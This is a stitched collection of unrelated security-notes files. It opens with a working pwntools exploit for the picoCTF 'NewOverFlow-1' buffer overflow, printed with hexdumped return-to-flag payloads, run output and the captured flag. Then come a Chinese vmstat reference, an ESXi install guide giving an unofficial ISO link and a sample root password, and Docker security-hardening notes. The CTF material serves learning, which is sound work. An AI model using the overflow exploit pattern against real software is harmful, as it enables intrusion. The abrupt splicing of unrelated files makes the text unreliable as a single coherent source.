# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a/vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
import os
if shell is not None:
shell.set_working_directory(os.path.dirname(remote_path))
def send_payload(proc, payload):
proc.sendlineafter("Welcome to 64-bit. Give me a string that gets you the flag: ", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(200, n = exe.bytes)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes))
return offset
overflow_offset = get_overflow_offset()
log.info("flag() address: {}".format(hex(exe.symbols["flag"])))
io = start()
payload = fit({overflow_offset: exe.symbols["main"]}, filler = 'B')
log.info("Sending payload: \n{}".format(hexdump(payload)))
send_payload(io, payload)
payload = fit({overflow_offset: exe.symbols["flag"]}, filler = 'B')
log.info("Sending payload: \n{}".format(hexdump(payload)))
send_payload(io, payload)
print io.recvall()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# python exploit.py
[*] '/media/sf_CTFs/pico/NewOverFlow-1/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] dvdalt@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Opening new channel: 'pwd': Done
[+] Receiving all data: Done (13B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/tmp/tmp.6L3X1OVx47'
[+] Opening new channel: 'ln -s /home/dvdalt/* .': Done
[+] Receiving all data: Done (0B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a'
[+] Starting local process '/media/sf_CTFs/pico/NewOverFlow-1/vuln': pid 840
[*] Process '/media/sf_CTFs/pico/NewOverFlow-1/vuln' stopped with exit code -11 (SIGSEGV) (pid 840)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/NewOverFlow-1/core.840'
Arch: amd64-64-little
RIP: 0x4007e7
RSP: 0x7ffcf64ed5f8
Exe: '/media/sf_CTFs/pico/NewOverFlow-1/vuln' (0x400000)
Fault: 0x616161616161616a
[*] Overflow offset: 72 (8-byte architecture)
[*] flag() address: 0x400767
[+] Starting remote process '/problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a/vuln' on 2019shell1.picoctf.com: pid 322295
[*] Sending payload:
00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
00000040 42 42 42 42 42 42 42 42 e8 07 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│
00000050
[*] Sending payload:
00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
00000040 42 42 42 42 42 42 42 42 67 07 40 00 00 00 00 00 │BBBB│BBBB│g·@·│····│
00000050
[+] Receiving all data: Done (51B)
[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 322295)
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_d0b837aa}
```
|
sec-knowleage
|
vmstat
===
显示虚拟内存状态
## 补充说明
**vmstat命令** 的含义为显示虚拟内存状态（“Viryual Memor Statics”），但是它可以报告关于进程、内存、I/O等系统整体运行状态。
### 语法
```shell
vmstat(选项)(参数)
```
### 选项
```shell
-a：显示活动内页；
-f：显示启动后创建的进程总数；
-m：显示slab信息；
-n：头信息仅显示一次；
-s：以表格方式显示事件计数器和内存状态；
-d：报告磁盘状态；
-p：显示指定的硬盘分区状态；
-S：输出信息的单位。
```
### 参数
* 事件间隔：状态信息刷新的时间间隔；
* 次数：显示报告的次数。
### 实例
```shell
vmstat 3
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
0 0 320 42188 167332 1534368 0 0 4 7 1 0 0 0 99 0 0
0 0 320 42188 167332 1534392 0 0 0 0 1002 39 0 0 100 0 0
0 0 320 42188 167336 1534392 0 0 0 19 1002 44 0 0 100 0 0
0 0 320 42188 167336 1534392 0 0 0 0 1002 41 0 0 100 0 0
0 0 320 42188 167336 1534392 0 0 0 0 1002 41 0 0 100 0 0
```
**字段说明：**
Procs（进程）
* r: 运行队列中进程数量，这个值也可以判断是否需要增加CPU。（长期大于1）
* b: 等待IO的进程数量。
Memory（内存）
* swpd: 使用虚拟内存大小，如果swpd的值不为0，但是SI，SO的值长期为0，这种情况不会影响系统性能。
* free: 空闲物理内存大小。
* buff: 用作缓冲的内存大小。
* cache: 用作缓存的内存大小，如果cache的值大的时候，说明cache处的文件数多，如果频繁访问到的文件都能被cache处，那么磁盘的读IO bi会非常小。
Swap
* si: 每秒从交换区写到内存的大小，由磁盘调入内存。
* so: 每秒写入交换区的内存大小，由内存调入磁盘。
注意：内存够用的时候，这2个值都是0，如果这2个值长期大于0时，系统性能会受到影响，磁盘IO和CPU资源都会被消耗。有些朋友看到空闲内存（free）很少的或接近于0时，就认为内存不够用了，不能光看这一点，还要结合si和so，如果free很少，但是si和so也很少（大多时候是0），那么不用担心，系统性能这时不会受到影响的。
IO（现在的Linux版本块的大小为1kb）
* bi: 每秒读取的块数
* bo: 每秒写入的块数
注意：随机磁盘读写的时候，这2个值越大（如超出1024k)，能看到CPU在IO等待的值也会越大。
system（系统）
* in: 每秒中断数，包括时钟中断。
* cs: 每秒上下文切换数。
注意：上面2个值越大，会看到由内核消耗的CPU时间会越大。
CPU（以百分比表示）
* us: 用户进程执行时间百分比(user time)
us的值比较高时，说明用户进程消耗的CPU时间多，但是如果长期超50%的使用，那么我们就该考虑优化程序算法或者进行加速。
* sy: 内核系统进程执行时间百分比(system time)
sy的值高时，说明系统内核消耗的CPU资源多，这并不是良性表现，我们应该检查原因。
* wa: IO等待时间百分比
wa的值高时，说明IO等待比较严重，这可能由于磁盘大量作随机访问造成，也有可能磁盘出现瓶颈（块操作）。
* id: 空闲时间百分比
|
sec-knowleage
|
# ESXi
---
## 环境搭建
这个安装包，大家用的都是 dell 提供的，然后dell的需要产品服务标签才可以下载，不管，用网友分享的安装包一样可以用
- https://www.dinghui.org/vmware-iso-download.html
vmware 新建虚拟机，操作系统选择 VMware ESX
然后一路下一步即可
唯一注意的就是,虚拟机的内存至少选用4G，网络建议选桥接，因为要让 vcenter 能访问到
新建完成后，打开虚拟机
**关于 win10 以后的嵌套虚拟机**
在这一步可能会遇到一个报错 ` 模块 “HV” 启动失败 ` , 查了一下，应该是 windows 的 hyper v 冲突导致的问题
参考文章里的方法得以解决 https://blog.51cto.com/asktom/5039533
如果没有问题可以看到下面的加载页面
加载 VMkernel 文件
加载文件完成，按 Enter 键开始安装VMware ESXi 7.0
系统出现“End User License Agreement（EULA）”界面，也就是最终用户许可协议，按【F11】键接受“Accept and Continue”，接受许可协议。
系统提示选择安装VMware ESXi 使用的存储，ESXi支持U盘以及SD卡安装。
提示选择键盘类型，选择“US Default”，默认美国标准，按【Enter】键继续。系统提示配置root用户的密码，根据实际情况输入，按【Enter】键继续。
这里配置成 Abcd1234!!
系统提示将安装在刚才选择的存储，按【F11】键开始安装。
安装的时间取决于服务器的性能，等待一段时间后即可完成 VMware ESXi 7.0 的安装，按【Enter】键重启服务器。
服务器重启完成后，进入 VMware ESXi 7.0 正式界面
按【F2】键输入 root 用户密码进入主机配置模式。
选择 “Configure Management Network” 配置管理网络。
选择 “IPv4 Configuration” 对 IP 进行配置。
完成主机 IP 配置。
使用浏览器访问 VMware ESXi 7.0 主机测试
进入 ESXi 7.0 主机操作界面，可以进行基本的配置和操作，比如创建虚拟机，更多的功能实现需要依靠 vCenter Server 来实现。
---
## 关于 vcenter 上添加 esxi 报错的问题
vcenter 版本要大于 esxi,我尼玛。。
---
## Source & Reference
- https://blog.csdn.net/qq_40695642/article/details/108310237
- https://mp.weixin.qq.com/s/S6AUYUev_4p6xTkzY0Ot6g
|
sec-knowleage
|
# Docker
<p align="center">
<img src="../../../assets/img/banner/Docker.png">
</p>
---
**官网**
- https://www.docker.com
**Docker是啥**
Docker 是一个开源的应用容器引擎，基于 Go 语言 并遵从 Apache2.0 协议开源。
Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。
容器是完全使用沙箱机制，相互之间不会有任何接口（类似 iPhone 的 app）,更重要的是容器性能开销极低。
**版本区别**
最早的时候 docker 就是一个开源项目，主要由 docker 公司维护.
- 2017年年初，docker 公司将原先的 docker 项目改名为 moby，并创建了 docker-ce 和 docker-ee.
- docker-ce 是社区版本，适用于刚刚开始 docker 和开发基于 docker 研发的应用开发者或者小型团队.
- docker-ee 是企业版，适用于企业级开发，同样也适用于开发、分发和运行商务级别的应用的 IT 团队.
- docker-io, docker-engin 是以前早期的版本.
**扩展项目**
- [Compose](https://github.com/docker/compose) - 一个部署多个容器的简单但是非常必要的工具.
- [Docker-Compose安装使用](../../Linux/Power-Linux.md#docker-compose)
- [Portainer](https://www.portainer.io/) - Docker 一款可视化管理用具，部署简单，推荐。
- [Docker-Portainer安装使用](../../Linux/Power-Linux.md#docker-portainer)
- [instantbox](https://github.com/instantbox/instantbox) - 脚本实现的一个 docker 虚拟化平台,快速获得开箱即用的热乎乎的虚拟机😁
- [silenceshell/docker_mirror](https://github.com/silenceshell/docker_mirror) - 查找最快的 docker 镜像
- [jesseduffield/lazydocker](https://github.com/jesseduffield/lazydocker) - 快速管理 docker
**学习教程**
- [Docker — 从入门到实践](https://yeasy.gitbook.io/docker_practice/)
---
## Docker 原理
Docker 是目前最具代表性的容器平台之一，它模糊了传统的 IaaS 和 PaaS 的边界，具有持续部署与测试、跨云平台支持等优点。在基于 Kubernetes 等容器编排工具实现的容器云环境中，通过对跨主机集群资源的调度，容器云可提供资源共享与隔离、容器编排与部署、应用支撑等功能。
Docker 容器技术以宿主机中的容器为管理单元，但各容器共用宿主机内核资源，分别通过 Linux 系统的 Namespaces 和 CGroups 机制实现资源的隔离与限制。
**相关文章**
- [Docker原理第二话--Namespace](https://blog.csdn.net/m0_37552052/article/details/78344607)
- [Docker原理第三话--CGroups](https://blog.csdn.net/m0_37552052/article/details/78480266)
**Namespaces**
为了保证容器进程之间的资源隔离，避免相互影响和干扰，Linux 内核的 Namespaces（命名空间）机制提供了 UTS、User、Mount、Network、PID、IPC 等命名空间实现了主机名、用户权限、文件系统、网络、进程号、进程间通信等六项资源隔离功能。通过调用 clone() 函数并传入相应的系统调用参数创建容器进程，可实现对应资源内容的隔离，如表所示。
| 命名空间 | 系统调用参数 | 隔离内容 | Linux内核版本 |
| - | - | - | - |
| UTS | CLONE_NEWUTS | 主机名和域名 | 2.6.19 |
| IPC | CLONE_NEWIPC | 信号量、信息队列和共享内 | 2.6.19 |
| PID | CLONE_NEWPID | 进程编号 | 2.6.24 |
| Network | CLONE_NEWNET | 网络设备、网络栈、端口等 | 2.6.29 |
| Mount | CLONE_NEWNS | 挂载点（文件系统） | 2.4.19 |
| User | CLONE_NEWUSER | 用户和用户组 | 3.8 |
对于某个进程而言，可通过查看 `/proc/[PID]/ns` 文件，获取该进程下的命名空间隔离情况。其中，每一项命名空间都拥有一个编号对其进行唯一标识，如果宿主机中两个进程指向的命名空间编号相同，则表示他们同在一个命名空间之下。
**CGroups**
CGroups（Control Groups，控制组）机制最早于 2006 年由 Google 提出，目前是 Linux 内核的一种机制，可以实现对任务组（进程组或线程组）使用的物理资源（CPU、内存、I/O等）进行限制和记录，通过多种度量标准为各个容器相对公平地分配资源，以防止资源滥用的情况。
在实际应用中，CGroups 会为每个执行任务创建一个钩子，在任务执行的过程中涉及到资源分配使用时，就会触发钩子上的函数并对相应的资源进行检测，从而对资源进行限制和优先级分配。
CGroups 提供了资源限制（Resource Limitation）、优先级分配（Prioritization）、资源统计（Accounting）、任务控制（Control）四个功能，包含 blkio、cpu、cpuacct、cpuset、devices、freezer、memory、perf_event、net_cls、net_prio、ns、hugetl b等子系统，每种子系统独立地控制一种资源，可分别实现块设备输入/输出限制、CPU 使用控制、生成 CPU 资源使用情况报告、内存使用量限制等功能。几个主要子系统的具体功能如表所示。
| 子系统 | 功能 |
| - | - |
| blkio | 为块设备（如磁盘、固态硬盘等物理驱动设备）设定输入/输出限制 |
| cpu | 通过调度程序控制任务对CPU的使用 |
| cpuacct | 生成任务对CPU资源使用情况的报告 |
| cpuset | 为任务分配独立的CPU和内存 |
| devices | 开启或关闭任务对设备的访问 |
| freezer | 挂起或恢复任务 |
| memory | 设定任务对内存的使用量限制，生成任务对内存资源使用情况的报告 |
---
## 安装与使用
- [Docker安装使用](../Linux/Power-Linux.md#docker)
---
## 容器网络管理
- [Docker](../Linux/实验/Docker.md#容器网络管理)
---
## 安全
安全部分内容来自 <sup>[[Docker容器安全性分析](https://www.freebuf.com/articles/system/221319.html)]</sup><sup>
**相关文章**
- [Docker容器安全性分析](https://www.freebuf.com/articles/system/221319.html)
- [Docker安全第一话--镜像安全](https://blog.csdn.net/m0_37552052/article/details/78907296)
---
### 容器虚拟化安全
在传统虚拟化技术架构中，Hypervisor 虚拟机监视器是虚拟机资源的管理与调度模块。而在容器架构中，由于不含有 Hypervisor 层，因此需要依靠操作系统内核层面的相关机制对容器进行安全的资源管理。
**容器资源隔离与限制**
在资源隔离方面，与采用虚拟化技术实现操作系统内核级隔离不同，Docker 通过 Linux 内核的 Namespace 机制实现容器与宿主机之间、容器与容器之间资源的相对独立。通过为各运行容器创建自己的命名空间，保证了容器中进程的运行不会影响到其他容器或宿主机中的进程。
在资源限制方面，Docker 通过 CGroups 实现宿主机中不同容器的资源限制与审计，包括对 CPU、内存、I/O 等物理资源进行均衡化配置，防止单个容器耗尽所有资源造成其他容器或宿主机的拒绝服务，保证所有容器的正常运行。
但是，CGroups 未实现对磁盘存储资源的限制。若宿主机中的某个容器耗尽了宿主机的所有存储空间，那么宿主机中的其他容器无法再进行数据写入。Docker 提供的 --storage-opt=[] 磁盘限额仅支持 Device Mapper 文件系统，而 Linux 系统本身采用的磁盘限额机制是基于用户和文件系统的 quota 技术，难以针对 Docker 容器实现基于进程或目录的磁盘限额。因此，可考虑采用以下方法实现容器的磁盘存储限制：
- 为每个容器创建单独用户，限制每个用户的磁盘使用量；
- 选择 XFS 等支持针对目录进行磁盘使用量限制的文件系统；
- 为每个容器创建单独的虚拟文件系统，具体步骤为创建固定大小的磁盘文件，并从该磁盘文件创建虚拟文件系统，然后将该虚拟文件系统挂载到指定的容器目录。
此外，在默认情况下，容器可以使用主机上的所有内存。可以使用内存限制机制来防止一个容器消耗所有主机资源的拒绝服务攻击，具体可使用使用 -m 或 -memory 参数运行容器。
命令示例
```bash
docker run [运行参数] -memory [内存大小] [容器镜像名或ID] [命令]）
```
**容器能力限制**
Linux 内核能力表示进程所拥有的系统调用权限，决定了程序的系统调用能力。
容器的默认能力包括 CHOWN、DAC_OVERRIDE、FSETID、SETGID、SETUID、SETFCAP、NET_RAW、MKNOD、SYS_REBOOT、SYS_CHROOT、KILL、NET_BIND_SERVICE、AUDIT_WRITE 等等，具体功能如表所示。
| 容器默认能力 | 作用
| CHOWN | 允许任意更改文件 UID 以及 GID |
| DAC_OVERRIDE | 允许忽略文件的读、写、执行访问权限检查 |
| FSETID | 允许文件修改后保留 setuid/setgid 标志位 |
| SETGID | 允许改变进程组 ID |
| SETUID | 允许改变进程用户 ID |
| SETFCAP | 允许向其他进程转移或删除能力 |
| NET_RAW | 允许创建 RAW 和 PACKET 套接字 |
| MKNOD | 允许使用 mknod 创建指定文件 |
| SYS_REBOOT | 允许使用 reboot 或者 kexec_load |
| SYS_CHROOT | 允许使用 chroot |
| KILL | 允许发送信号 |
| NET_BIND_SERVICE | 允许绑定常用端口号（端口号小于 1024） |
| AUDIT_WRITE | 允许审计日志写入 |
如果对容器能力不加以适当限制，可能会存在以下安全隐患：
- 内部因素：在运行 Docker 容器时，如果采用默认的内核功能配置可能会产生容器的隔离问题。
- 外部因素：不必要的内核功能可能导致攻击者通过容器实现对宿主机内核的攻击。
因此，不当的容器能力配置可能会扩大攻击面，增加容器与宿主机面临的安全风险，在执行 docker run 命令运行 Docker 容器时可根据实际需求通过 --cap-add 或 --cap-drop 配置接口对容器的能力进行增删。
命令示例
```bash
docker run --cap-drop ALL --cap-add SYS_TIME ntpd /bin/sh）
```
**强制访问控制**
强制访问控制（Mandatory Access Control, MAC）是指每一个主体（包括用户和程序）和客体都拥有固定的安全标记，主体能否对客体进行相关操作，取决于主体和客体所拥有安全标记的关系。在 Docker 容器应用环境下，可通过强制访问控制机制限制容器的访问资源。Linux 内核的强制访问控制机制包括 SELinux、AppArmor 等。
- SELinux 机制
SELinux（Security-Enhanced Linux）是 Linux 内核的强制访问控制实现，由美国国家安全局（NSA）发起，用以限制进程的资源访问，即进程仅能访问其任务所需的文件资源。因此，可通过 SELinux 对 Docker 容器的资源访问进行控制。
在启动 Docker daemon 守护进程时，可通过将 --selinux-enabled 参数设为 true，从而在 Docker 容器中使用SELinux。SELinux 可以使经典的 shocker.c 程序失效，使其无法逃逸出 Docker 容器实现对宿主机资源的访问。
命令示例
```bash
docker daemon --selinux-enabled = true
```
- AppArmor 机制
与 SELinux 类似，AppArmor（Application Armor，应用程序防护）也是 Linux 的一种强制访问控制机制，其作用是对可执行程序进行目录和文件读写、网络端口访问和读写等权限的控制。
在 Docker daemon 启动后会在 /etc/apparmor.d/docker 自动创建 AppArmor 的默认配置文件 docker-default，可通过在该默认配置文件中新增访问控制规则的方式对容器进行权限控制，同时可在启动容器时通过 --security-opt 指定其他配置文件。例如，在配置文件中加入一行 deny /etc/hosts rwklx 限制对 /etc/hosts 的获取，同样可使 shocker.c 容器逃逸攻击失效。
命令示例
```bash
docker run --rm -ti --cap-add=all --security-opt apparmor:docker-default shocker bash
```
**Seccomp 机制**
Seccomp（Secure Computing Mode）是 Linux 内核提供的安全特性，可实现应用程序的沙盒机制构建，以白名单或黑名单的方式限制进程能够进行的系统调用范围。
在 Docker 中，可通过为每个容器编写 json 格式的 seccomp profile 实现对容器中进程系统调用的限制。在 seccomp profile 中，可定义以下行为对进程的系统调用做出响应：
```
SCMP_ACT_KILL：当进程进行对应的系统调用时，内核发出 SIGSYS 信号终止该进程，该进程不会接受到这个信号；
SCMP_ACT_TRAP：当进程进行对应的系统调用时，该进程会接收到 SIGSYS 信号，并改变自身行为；
SCMP_ACT_ERRNO：当进程进行对应的系统调用时，系统调用失败，进程会接收到 errno 返回值；
SCMP_ACT_TRACE：当进程进行对应的系统调用时，进程会被跟踪；
SCMP_ACT_ALLOW：允许进程进行对应的系统调用行为。
```
默认情况下，在 Docker 容器的启动过程中会使用默认的 seccomp profile，可使用 security-opt seccomp 选项使用特定的 seccomp profile。
命令示例
```
docker run --rm -it --security-opt seccomp:/path/to/seccomp/profile.json hello-world
```
---
### 容器安全管理
#### 镜像仓库安全
- 内容信任机制
Docker 的内容信任（Content Trust）机制可保护镜像在镜像仓库与用户之间传输过程中的完整性。目前，Docker 的内容信任机制默认关闭，需要手动开启。内容信任机制启用后，镜像发布者可对镜像进行签名，而镜像使用者可以对镜像签名进行验证。
具体而言，镜像构建者在通过 docker build 命令运行 Dockerfile 文件前，需要通过手动或脚本方式将 DOCKER_CONTENT_TRUST 环境变量置为1进行启用。在内容信任机制开启后，push、build、create、pull、run 等命令均与内容信任机制绑定，只有通过内容信任验证的镜像才可成功运行这些操作。例如，Dockerfile 中如果包含未签名的基础镜像，将无法成功通过 docker build 进行镜像构建。
命令示例
```
export DOCKER_CONTENT_TRUST = 1
```
- Notary 项目
Notary 是一个从 Docker 中剥离的独立开源项目，提供数据收集的安全性。Notary 用于发布内容的安全管理，可对发布的内容进行数字签名，并允许用户验证内容的完整性和来源。Notary 的目标是保证服务器与客户端之间使用可信连接进行交互，用于解决互联网内容发布的安全性，并未局限于容器应用。
在 Docker 容器场景中，Notary 可支持 Docker 内容信任机制。因此，可使用 Notary 构建镜像仓库服务器，实现对容器镜像的签名，对镜像源认证、镜像完整性等安全需求提供更好的支持。
#### 镜像安全扫描
为了保证容器运行的安全性，在从公共镜像仓库获取镜像时需要对镜像进行安全检查，防止存在安全隐患甚至恶意漏洞的镜像运行，从源头端预防安全事故的发生。镜像漏洞扫描工具是一类常用的镜像安全检查辅助工具，可检测出容器镜像中含有的 CVE 漏洞。
针对 Docker 镜像的漏洞扫描，目前已经有许多相关工具与解决方案，包括 Docker Security Scanning、Clair、Anchore、Trivy、Aqua 等等。
**Docker Security Scanning 服务**
Docker Security Scanning 是 Docker 官方推出的不开源镜像漏洞扫描服务，用于检测 Docker Cloud 服务中私有仓库和 Docker Hub 官方仓库中的镜像是否安全。
Docker Security Scanning 包括扫描触发、扫描器、数据库、附加元件框架以及 CVE 漏洞数据库比对等服务。当仓库中有镜像发生更新时，会自动启动漏洞扫描；当 CVE 漏洞数据库发生更新时，也会实时更新镜像漏洞扫描结果。
**Clair 工具**
- https://github.com/quay/clair
Clair 是一款开源的 Docker 镜像漏洞扫描工具。与 Docker Security Scanning 类似，Clair 通过对 Docker 镜像进行静态分析并与公共漏洞数据库关联，得到相应的漏洞分析结果。Clair 主要包括以下模块：
```
Fetcher（获取器）：从公共的 CVE 漏洞源收集漏洞数据；
Detector（检测器）：对镜像的每一个 Layer 进行扫描，提取镜像特征；
Notifier+WebHook（通知钩子）- 当新的漏洞被发现时或者已经存在的漏洞发生改变时通知用户/机器
Databases（数据库）：PostSQL 数据库存储容器中的各个层和 CVE 漏洞；
Worker（主进程） - 每个Post Layer都会启动一个worker进行Layer Detect
```
clair 使用时的辅助工具
- https://github.com/jgsqware/clairctl
**Anchore**
- https://github.com/anchore/anchore-engine
Anchore侧重于对镜像的审计，其有强大的对镜像的解析能力
```
anchore analyze --image test
```
**Trivy 工具**
Trivy 是一个简单而全面的开源容器漏洞扫描程序。Trivy 可检测操作系统软件包（Alpine、RHEL、CentOS等）和应用程序依赖项（Bundler、Composer、npm、yarn等）的漏洞。此外，Trivy 具有较高的易用性，只需安装二进制文件并指定扫描容器的镜像名称即可执行扫描。Trivy 提供了丰富的功能接口，相比于其他容器镜像漏洞扫描工具更适合自动化操作，可更好地满足持续集成的需求。
命令示例
```bash
trivy [镜像名]
```
**veinmind-tools**
- https://github.com/chaitin/veinmind-tools
veinmind-tools 是由长亭科技自研，基于 veinmind-sdk 打造的容器安全工具集
1. 确保机器上正确安装 docker
```bash
docker info
```
2. 安装 veinmind-runner 镜像
```bash
docker pull veinmind/veinmind-runner:latest
```
3. 下载 veinmind-runner 平行容器启动脚本
```bash
wget -q https://download.veinmind.tech/scripts/veinmind-runner-parallel-container-run.sh -O run.sh && chmod +x run.sh
```
4. 快速扫描本地镜像
```bash
./run.sh scan-host
```
#### 容器逆向分析
分析镜像,提取出镜像的构建过程和镜像构建过程中引用的文件。
- [LanikSJ/dfimage](https://github.com/LanikSJ/dfimage) - Reverse-engineer a Dockerfile from a Docker image.
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage [镜像名]
```
- [wagoodman/dive](https://github.com/wagoodman/dive) - A tool for exploring each layer in a docker image
```bash
docker pull wagoodman/dive
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive:latest [镜像名]
```
#### 容器运行时监控
为了在系统运维层面保证容器运行的安全性，实现安全风险的即时告警与应急响应，需要对 Docker 容器运行时的各项性能指标进行实时监控。
针对 Docker 容器监控的工具与解决方案包括 docker stats、cAdvisor、Scout、DataDog、Sensu 等等，其中最常见的是 Docker 原生的 docker stats 命令和 Google 的 cAdvisor 开源工具。
**docker stats 命令**
docker stats 是 Docker 自带的容器资源使用统计命令，可用于对宿主机上的 Docker 容器的资源使用情况进行手动监控，具体内容包括容器的基本信息、容器的 CPU 使用率、内存使用率、内存使用量与限制、块设备 I/O 使用量、网络 I/O 使用量、进程数等信息。用户可根据自身需求设置 --format 参数控制 docker stats 命令输出的内容格式。
命令示例
```bash
docker stats [容器名]
```
**cAdvisor 工具**
由于 docker stats 只是简单的容器资源查看命令，其可视化程度不高，同时不支持监控数据的存储。cAdvisor 是由 Google 开源的容器监控工具，优化了docker stats 在可视化展示与数据存储方面的缺陷。
cAdvisor 在宿主机上以容器方式运行，通过挂载在本地卷，可对同一台宿主机上运行的所有容器进行实时监控和性能数据采集，具体包括 CPU 使用情况、内存使用情况、网络吞吐量、文件系统使用情况等信息，并提供本地基础查询界面和 API 接口，方便与其他第三方工具进行搭配使用。cAdvisor 默认将数据缓存在内存中，同时也提供不同的持久化存储后端支持，可将监控数据保存 Google BigQuery、InfluxD B或 Redis 等数据库中。
cAdvisor 基于 Go 语言开发，利用 CGroups 获取容器的资源使用信息，目前已被集成在 Kubernetes 中的 Kubelet 组件里作为默认启动项。
命令示例
```bash
docker run -v /var/run:/var/run:rw -v/sys:/sys:ro -v/var/lib/docker:/var/lib/docker:ro -p8080:8080 -d --name cadvisor google/cadvisor
```
**falco**
- https://github.com/falcosecurity/falco
Falco是一款开源的行为监视器，旨在检测应用程序中的异常活动。 Falco由一系列规则组成，这些规则基于应用程序执行的系统调用来识别可疑行为。 Falco可以应用于容器环境、虚拟化环境、Linux物理主机环境
- 相关文章
- [Docker安全第二话--安全监控](https://blog.csdn.net/m0_37552052/article/details/78909631)
#### 容器安全审计
- Docker 守护进程审计
在安全审计方面，对于运行 Docker 容器的宿主机而言，除需对主机 Linux 文件系统等进行审计外，还需对 Docker 守护进程的活动进行审计。由于系统默认不会对 Docker 守护进程进行审计，需要通过主动添加审计规则或修改规则文件进行。
命令示例
```bash
auditctl -w /usr/bin/docker -k docker
或
修改 /etc/audit/audit.rules 文件
```
- Docker 相关文件目录审计
除 Docker 守护进程之外，还需对与 Docker 的运行相关的文件和目录进行审计，同样需要通过命令行添加审计规则或修改规则配置文件，具体文件和目录如表所示。
| 需要审计的文件或目录 | 备注 |
| - | - |
| /var/lib/docker | 包含有关容器的所有信息 |
| /etc/docker | 包含 Docker 守护进程和客户端 TLS 通信的密钥和证书 |
| docker.service | Docker 守护进程运行参数配置文件 |
| docker.socket | 守护进程运行 socket |
| /etc/default/docker | 支持 Docker 守护进程各种参数 |
| /etc/default/daemon.json | 支持 Docker 守护进程各种参数 |
| /usr/bin/docker-containerd | Docker 可用 containerd 生成容器 |
| /usr/bin/docker-runc | Docker 可用 runC 生成容器 |
Docker 公司与美国互联网安全中心（CIS）联合制定了 Docker 最佳安全实践 CIS Docker Benchmark，目前最新版本为 1.2.0。为了帮助 Docker 用户对其部署的容器环境进行安全检查，Docker 官方提供了 Docker Bench for Security 安全配置检查脚本工具 docker-bench-security，其检查依据便是 CIS 制定的 Docker 最佳安全实践。
---
### 容器网络安全
**容器间流量限制**
由于 Docker 容器默认的网桥模式不会对网络流量进行控制和限制，为了防止潜在的网络 DoS 攻击风险，需要根据实际需求对网络流量进行相应的配置。
- 完全禁止容器间通信
在特定的应用场景中，如果宿主机中的所有容器无需在三层或四层进行网络通信交互，可通过将 Docker daemon 的 --icc 参数设为 false 以禁止容器与容器间的通信。
命令示例
```
dockerd --icc = false
```
- 容器间流量控制
在存在多租户的容器云环境中，可能存在单个容器占用大量宿主机物理网卡抢占其他容器带宽的情况。为了保证容器之间的正常通信，同时避免异常流量造成网络 DoS 攻击等后果，需要对容器之间的通信流量进行一定的限制。
由于 Docker 通过创建虚拟网卡对（eth0 和 veth*）将容器与虚拟网桥 docker0 连接，而容器之间的通信需要经由虚拟网卡对 eth0 和 veth* 通过网桥连接，因此，可采用 Linux 的流量控制模块 traffic controller 对容器网络进行流量限制。
traffic controller的原理是建立数据包队列并制定发送规则，实现流量限制与调度的功能。为了在一定程度上减轻容器间的 DoS 攻击的危害，可将 traffic controller 的 dev 设置为宿主机中与各容器连接的 veth* 虚拟网卡，以此进行宿主机上容器间流量限制。
**网桥模式下的网络访问控制**
在默认的网桥连接模式中，连接在同一个网桥的两个容器可以进行直接相互访问。因此，为了实现网络访问控制，可按需配置网络访问控制机制和策略。
- 为容器创建不同的桥接网络
为了实现容器间的网络隔离，可将容器放在不同的桥接网络中。当在 Docker 中使用 docker network create 命令创建新的桥接网络时，会在 iptables 中的 DOCKER-ISOLATION 新增 DROP 丢弃规则，阻断与其他网络之间的通信流量，实现容器网络之间隔离的目的。
命令示例
```
docker network create --subnet 102.102.0.0/24 test
```
- 基于白名单策略的网络访问控制
为了保证容器间的网络安全，可默认禁止容器间的通信，然后按需设置网络访问控制规则。
具体而言，在同一虚拟网络内，不同 Docker 容器之间的网络访问可通过 iptables 进行控制。在将 Docker daemon 的 --icc 参数设为 false后，iptables 的 FORWARD 链策略为默认全部丢弃。此时，可采用白名单策略实现网络访问控制，即根据实际需要在 iptables 中添加访问控制策略，以最小化策略减小攻击面。
**集群模式下的网络访问控制**
与通过 OpenStack 建立的虚拟化集群通过 VLAN 对不同租户进行子网隔离不同，基于 Overlay 网络的容器集群在同一主机内相同子网中的不同容器之间默认可以直接访问。
如需控制宿主机外部到内部容器应用的访问，可通过在宿主机 iptables 中的 DOCKER-INGRESS 链手动添加 ACL 访问控制规则以控制宿主机的 eth0 到容器的访问，或者在宿主机外部部署防火墙等方法实现。
